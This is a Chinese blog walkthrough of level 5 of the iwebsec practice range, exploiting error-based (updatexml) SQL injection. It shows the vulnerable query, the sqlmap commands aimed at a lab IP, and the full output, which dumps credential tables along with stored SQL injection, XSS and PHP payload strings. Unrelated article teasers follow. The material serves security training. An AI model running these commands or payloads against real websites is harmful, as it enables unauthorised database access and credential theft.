iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入(报错型盲注)

news2025/2/26 6:10:48

系列文章目录

iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记3- bool注入(布尔型盲注)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)_mooyuan的博客-CSDN博客

目录

系列文章目录

前言

一、源码分析

二、sqlmap注入

1.注入命令

 2.完整交互过程

总结


前言

iwebsec靶场的SQL注入漏洞的第05关updatexml注入漏洞渗透。


一、源码分析

如下所示,SQL语句与前几关一样,调用的语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";很明显这是一个普通的数字型注入,并且没有对参数id做任何过滤。

不过在输出内容中可以得知仅sql查询成功时输出正确的id,用户名和密码。

​不过在错误的时候却执行语句print_r(mysql_error());这个报错语句的使用意味着我们可以利用报错型函数如updatexml,extractvalue等函数进行SQL注入。

二、sqlmap注入

1.注入命令

sqlmap -u http://192.168.71.151/sqli/05.php?id=1  --current-db --dump --batch

 如下所示,渗透成功

sqlmap发现可以通过4种方法进行渗透成功,这里我们可以指定方法就是error-based,这样的话渗透语句可以写为

sqlmap -u http://192.168.71.151/sqli/05.php?id=1  --current-db --dump --batch --technique E

 2.完整交互过程

完整的注入交互如下所示

kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/05.php?id=1  --current-db --dump --batch --technique E
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___[)]_____ ___ ___  {1.5.11#stable}                                                                                                                                                                                                  
|_ -| . [,]     | .'| . |                                                                                                                                                                                                                  
|___|_  [.]_|_|_|__,|  _|                                                                                                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:15:21 /2022-11-24/

[23:15:21] [INFO] resuming back-end DBMS 'mysql' 
[23:15:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 1776 FROM(SELECT COUNT(*),CONCAT(0x7171717871,(SELECT (ELT(1776=1776,1))),0x7170707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
---
[23:15:21] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6
web application technology: Apache 2.2.15, PHP 5.2.17
back-end DBMS: MySQL >= 5.0
[23:15:21] [INFO] fetching current database
[23:15:21] [INFO] retrieved: 'iwebsec'
current database: 'iwebsec'
[23:15:21] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[23:15:21] [INFO] fetching current database
[23:15:21] [INFO] fetching tables for database: 'iwebsec'
[23:15:21] [INFO] retrieved: 'sqli'
[23:15:21] [INFO] retrieved: 'user'
[23:15:21] [INFO] retrieved: 'users'
[23:15:21] [INFO] retrieved: 'xss'
[23:15:21] [INFO] fetching columns for table 'users' in database 'iwebsec'
[23:15:21] [INFO] retrieved: 'username'
[23:15:21] [INFO] retrieved: 'varchar(255)'
[23:15:21] [INFO] retrieved: 'password'
[23:15:21] [INFO] retrieved: 'varchar(255)'
[23:15:21] [INFO] retrieved: 'role'
[23:15:21] [INFO] retrieved: 'varchar(255)'
[23:15:21] [INFO] fetching entries for table 'users' in database 'iwebsec'
[23:15:21] [INFO] retrieved: 'mall123mall'
[23:15:21] [INFO] retrieved: 'admin'
[23:15:21] [INFO] retrieved: 'orange'
Database: iwebsec
Table: users
[1 entry]
+-------+-------------+----------+
| role  | password    | username |
+-------+-------------+----------+
| admin | mall123mall | orange   |
+-------+-------------+----------+

[23:15:21] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
[23:15:21] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
[23:15:21] [INFO] retrieved: 'id'
[23:15:21] [INFO] retrieved: 'int(11)'
[23:15:21] [INFO] retrieved: 'username'
[23:15:21] [INFO] retrieved: 'varchar(255)'
[23:15:21] [INFO] retrieved: 'password'
[23:15:21] [INFO] retrieved: 'varchar(255)'
[23:15:21] [INFO] retrieved: 'email'
[23:15:21] [INFO] retrieved: 'varchar(255)'
[23:15:21] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
[23:15:21] [INFO] retrieved: 'user1@iwebsec.com'
[23:15:21] [INFO] retrieved: '1'
[23:15:21] [INFO] retrieved: 'pass1'
[23:15:21] [INFO] retrieved: 'user1'
[23:15:21] [INFO] retrieved: 'user2@iwebsec.com'
[23:15:21] [INFO] retrieved: '2'
[23:15:21] [INFO] retrieved: 'pass2'
[23:15:21] [INFO] retrieved: 'user2'
[23:15:22] [INFO] retrieved: 'user3@iwebsec.com'
[23:15:22] [INFO] retrieved: '3'
[23:15:22] [INFO] retrieved: 'pass3'
[23:15:22] [INFO] retrieved: 'user3'
[23:15:22] [INFO] retrieved: 'user4@iwebsec.com'
[23:15:22] [INFO] retrieved: '4'
[23:15:22] [INFO] retrieved: 'admin'
[23:15:22] [INFO] retrieved: 'admin'
[23:15:22] [INFO] retrieved: '123@123.com'
[23:15:22] [INFO] retrieved: '5'
[23:15:22] [INFO] retrieved: '123'
[23:15:22] [INFO] retrieved: '123'
[23:15:22] [INFO] retrieved: '1234@123.com'
[23:15:22] [INFO] retrieved: '6'
[23:15:22] [INFO] retrieved: '123'
[23:15:22] [INFO] retrieved: 'ctfs' or updatexml(1,concat(0x7e,(version())),0)#'
[23:15:22] [INFO] retrieved: 'iwebsec02@iwebsec.com'
[23:15:22] [INFO] retrieved: '7'
[23:15:22] [INFO] retrieved: '123456'
[23:15:22] [INFO] retrieved: 'iwebsec' or updatexml(1,concat(0x7e,(version())),0)#'
Database: iwebsec
Table: sqli
[7 entries]
+----+-----------------------+----------+------------------------------------------------------+
| id | email                 | password | username                                             |
+----+-----------------------+----------+------------------------------------------------------+
| 1  | user1@iwebsec.com     | pass1    | user1                                                |
| 2  | user2@iwebsec.com     | pass2    | user2                                                |
| 3  | user3@iwebsec.com     | pass3    | user3                                                |
| 4  | user4@iwebsec.com     | admin    | admin                                                |
| 5  | 123@123.com           | 123      | 123                                                  |
| 6  | 1234@123.com          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
| 7  | iwebsec02@iwebsec.com | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
+----+-----------------------+----------+------------------------------------------------------+

[23:15:22] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
[23:15:22] [INFO] fetching columns for table 'user' in database 'iwebsec'
[23:15:22] [INFO] retrieved: 'id'
[23:15:22] [INFO] retrieved: 'int(11)'
[23:15:22] [INFO] retrieved: 'username'
[23:15:22] [INFO] retrieved: 'varchar(255)'
[23:15:22] [INFO] retrieved: 'password'
[23:15:22] [INFO] retrieved: 'varchar(255)'
[23:15:22] [INFO] fetching entries for table 'user' in database 'iwebsec'
[23:15:22] [INFO] retrieved: '1'
[23:15:22] [INFO] retrieved: 'pass1'
[23:15:22] [INFO] retrieved: 'user1'
[23:15:22] [INFO] retrieved: '2'
[23:15:22] [INFO] retrieved: 'pass2'
[23:15:22] [INFO] retrieved: 'user2'
[23:15:22] [INFO] retrieved: '3'
[23:15:22] [INFO] retrieved: 'pass3'
[23:15:22] [INFO] retrieved: 'user3'
Database: iwebsec
Table: user
[3 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | pass1    | user1    |
| 2  | pass2    | user2    |
| 3  | pass3    | user3    |
+----+----------+----------+

[23:15:22] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
[23:15:22] [INFO] fetching columns for table 'xss' in database 'iwebsec'
[23:15:22] [INFO] retrieved: 'id'
[23:15:22] [INFO] retrieved: 'int(11)'
[23:15:22] [INFO] retrieved: 'name'
[23:15:22] [INFO] retrieved: 'varchar(255)'
[23:15:22] [INFO] fetching entries for table 'xss' in database 'iwebsec'
[23:15:22] [INFO] retrieved: '1'
[23:15:22] [INFO] retrieved: 'iwebsec'
[23:15:22] [INFO] retrieved: '5'
[23:15:22] [INFO] retrieved: '<img src=1 onerror=alert(/ctfs/)/>'
[23:15:22] [INFO] retrieved: '6'
[23:15:22] [INFO] retrieved: '<img src=1 onerror=alert(/ctfs/)/>'
[23:15:22] [INFO] retrieved: '7'
[23:15:22] [INFO] retrieved: '<img src=1 onerror=alert(/ctfs/)/>'
[23:15:22] [INFO] retrieved: '8'
[23:15:22] [INFO] retrieved: '<?php phpinfo();?>'
Database: iwebsec
Table: xss
[5 entries]
+----+------------------------------------+
| id | name                               |
+----+------------------------------------+
| 1  | iwebsec                            |
| 5  | <img src=1 onerror=alert(/ctfs/)/> |
| 6  | <img src=1 onerror=alert(/ctfs/)/> |
| 7  | <img src=1 onerror=alert(/ctfs/)/> |
| 8  | <?php phpinfo();?>                 |
+----+------------------------------------+

[23:15:22] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
[23:15:22] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
[23:15:22] [WARNING] your sqlmap version is outdated

[*] ending @ 23:15:22 /2022-11-24/

总结

通过源码再来分析下时间盲注关卡重点内容:
(1)闭合方式是什么?iwebsec的第05关关卡为数字型注入,无闭合方式
(2)注入类别是什么?这部分是报错型盲注
(3)是否过滤了关键字?很明显通过源码,iwebsec的时间报错型关卡无过滤任何信息
了解了如上信息就可以针对性进行SQL渗透。初学者还是应该以手动注入方法练习,真正了解原理后可以在使用sqlmap来提升速度。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/39473.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Verilog 时序检查

setup hold recovery removal width period 指定路径延迟&#xff0c;目的是让仿真的时序更加接近实际数字电路的时序。利用时序约束对数字设计进行时序仿真&#xff0c;检查设计是否存在违反&#xff08;violation&#xff09;时序约束的地方&#xff0c;…

鲲鹏devkit开发套件——编译调试工具介绍

鲲鹏devkit编译调试工具介绍 编译调试插件是其中的一个子工具。编译调试插件即插即用&#xff0c;支持一键安装服务器鲲鹏编译器&#xff0c;支持单机下Nvidia GPU应用调试能力&#xff0c;通过统一调试界面调试GPU应用&#xff0c;实现cuda-gdb调试能力&#xff0c;以及鲲鹏平…

Spring Security 使用JSON格式参数登录的两种方式

前言 在 Spring Security 中&#xff0c;默认的登陆方式是以表单形式进行提交参数的。可以参考前面的几篇文章&#xff0c;但是在前后端分离的项目&#xff0c;前后端都是以 JSON 形式交互的。一般不会使用表单形式提交参数。所以&#xff0c;在 Spring Security 中如果要使用…

python3-turtle(1)

turtle 是海龟绘图模块&#xff0c;海龟绘图很适合用来引导孩子学习编程&#xff0c;最初构想来自于 Wally Feurzeig, Seymour Papert 和 Cynthia Solomon 于 1967 年所创造的 Logo 编程语言&#xff0c;它是基于tkinter 模块打造&#xff0c;提供简单的绘图方法。 turtle模块假…

集合框架----源码解读ArrayList篇

1.ArrayList<E> ArrayList是继承AbstractList<E> List 接口的可调整数组实现。实现所有可选的列表操作&#xff0c;并允许所有元素&#xff0c;包括null。除了实现List接口之外&#xff0c;该类还提供了一些方法来操作内部用于存储列表的数组的大小。(这个类大致相…

准备蓝桥杯的宝贝们看过来,二分法一网打尽(基础篇)

今天给大家介绍一下简单的二分法&#xff08;刷题第一步&#xff01;&#xff09; 二分基础题链接 二分查找有个很明显的特点就是有序&#xff0c;这个特点同学如果在题中看到就要格外注意 一定要看完&#xff0c;基本的三种解法&#xff0c;后面还有真题链接哦&#xff01;…

异步请求-AJAX

什么是同步交互 首先用户向HTTP服务器提交一个处理请求。接着服务器端接收到请求后&#xff0c;按照预先编写好的程序中的业务逻辑进行处理&#xff0c;比如和数据库服务器进行数据信息交换。最后&#xff0c;服务器对请求进行响应&#xff0c;将结果返回给客户端&#xff0c;返…

TCP三次握手与四次挥手

TCP三次握手的建立与四次挥手的过程 TCP协议 TCP 用于处理实时通信TCP是基于端口&#xff0c;面向连接的传输层协议TCP的握手和挥手本质上都是四次&#xff0c;只不过握手合并成三次。因为主机之间要想通信需要先建立双向数据通道TCP的主要特点是传输稳定性高&#xff0c;但是…

[自建题库]c认证初级

UTF-8的编码实现方式有几种? UTF8-1 / UTF8-2 / UTF8-3 / UTF8-4 二进制数1111.1111转换成十进制数是多少&#xff1f; 如果二进制数字“1000111______”采取偶校验&#xff0c;那么下划线的校验位处应该填什么&#xff1f; 0 在MPEG-4中&#xff0c;第九部分定义了IP网络传…

JS高级-语言特性(持续更新一)

JS高级-语言特性 JS高级-语言特性 一、JS面向对象编程 1.1面向对象介绍 1.2面向对象编程 1.3创建对象 二、构造函数 2.1构造函数 2.2构造函数存在的问题 三、原型 3.1构造函数的prototype属性 3.2构造函数、实例、原型三者之间的关系 3.3原型对象的获取及修改 3.4原…

[附源码]Python计算机毕业设计高校电子作业提交与批改系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;我…

CTFHub | Refer注入

0x00 前言 CTFHub 专注网络安全、信息安全、白帽子技术的在线学习&#xff0c;实训平台。提供优质的赛事及学习服务&#xff0c;拥有完善的题目环境及配套 writeup &#xff0c;降低 CTF 学习入门门槛&#xff0c;快速帮助选手成长&#xff0c;跟随主流比赛潮流。 0x01 题目描述…

[C#] GDI+ 之鼠标交互:原理、示例、一步步深入、性能优化

一、前言 “GDI”与“鼠标交互”&#xff0c;乍一听好像不可能&#xff0c;也无从下手&#xff0c;但是实现原理比想象中要简单很多。 基于“GDI”的“交互”&#xff0c;应用场景也很多&#xff0c;比如&#xff1a;流程图、数据图表、思维导图等等。 本篇文章就通过多个示例…

美新科技IPO过会:9个月营收6亿 林东融三兄弟为实控人

雷递网 雷建平 11月26日美新科技股份有限公司&#xff08;简称&#xff1a;“美新科技”&#xff09;日前IPO过会&#xff0c;准备在深交所创业板上市。美新科技计划募资9.58亿元&#xff0c;其中&#xff0c;5.1亿元用于美新科技新型环保塑木型材产业化项目&#xff08;一期&a…

基于HTML+CSS+JavaScript制作学生网页——外卖服务平台10页带js 带购物车

⛵ 源码获取 文末联系 ✈ Web前端开发技术 描述 网页设计题材&#xff0c;DIVCSS 布局制作,HTMLCSS网页设计期末课程大作业 | HTML期末大学生网页设计作业 HTML&#xff1a;结构 CSS&#xff1a;样式 在操作方面上运用了html5和css3&#xff0c; 采用了divcss结构、表单、超链…

[附源码]SSM计算机毕业设计拾穗在线培训考试系统JAVA

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

JS逆向 Frida - 夜神模拟器安装配置 基本使用

JS逆向 Frida - 夜神模拟器安装配置 基本使用 文章目录JS逆向 Frida - 夜神模拟器安装配置 基本使用前言一、Frida简单介绍&#xff1f;1.Frida是什么2.Frida原理(建议了解一下&#xff0c;否则后续的安装会有些懵懂)二、Frida下载1.pip安装frida模块2.查看本地的frida版本&…

大数据项目之电商数仓DataX、DataX简介、DataX支持的数据源、DataX架构原理、DataX部署

文章目录1. DataX简介1.1 DataX概述1.2 DataX支持的数据源2. DataX架构原理2.1 DataX设计理念2.2 DataX框架设计2.3 DataX运行流程2.4 DataX调度决策思路2.5 DataX与Sqoop对比3. DataX部署3.1 下载DataX安装包并上传到hadoop102的/opt/software3.2 解压datax.tar.gz到/opt/modu…

一、微服务入门

文章目录一、微服务大概认识二、单体架构架构和分布式架构三、微服务架构特征四、微服务技术对比五、SpringCloud 与 SpringBoot版本兼容关系如下&#xff1a;一、微服务大概认识 二、单体架构架构和分布式架构 单体架构&#xff1a;将业务的所有功能集中在一个项目中开发&…

一文弄懂 Diffusion Model

什么是 Diffusion Model 一、前向 Diffusion 过程 Diffusion Model 首先定义了一个前向扩散过程&#xff0c;总共包含T个时间步&#xff0c;如下图所示&#xff1a; 最左边的蓝色圆圈 x0 表示真实自然图像&#xff0c;对应下方的狗子图片。 最右边的蓝色圆圈 xT 则表示纯高斯…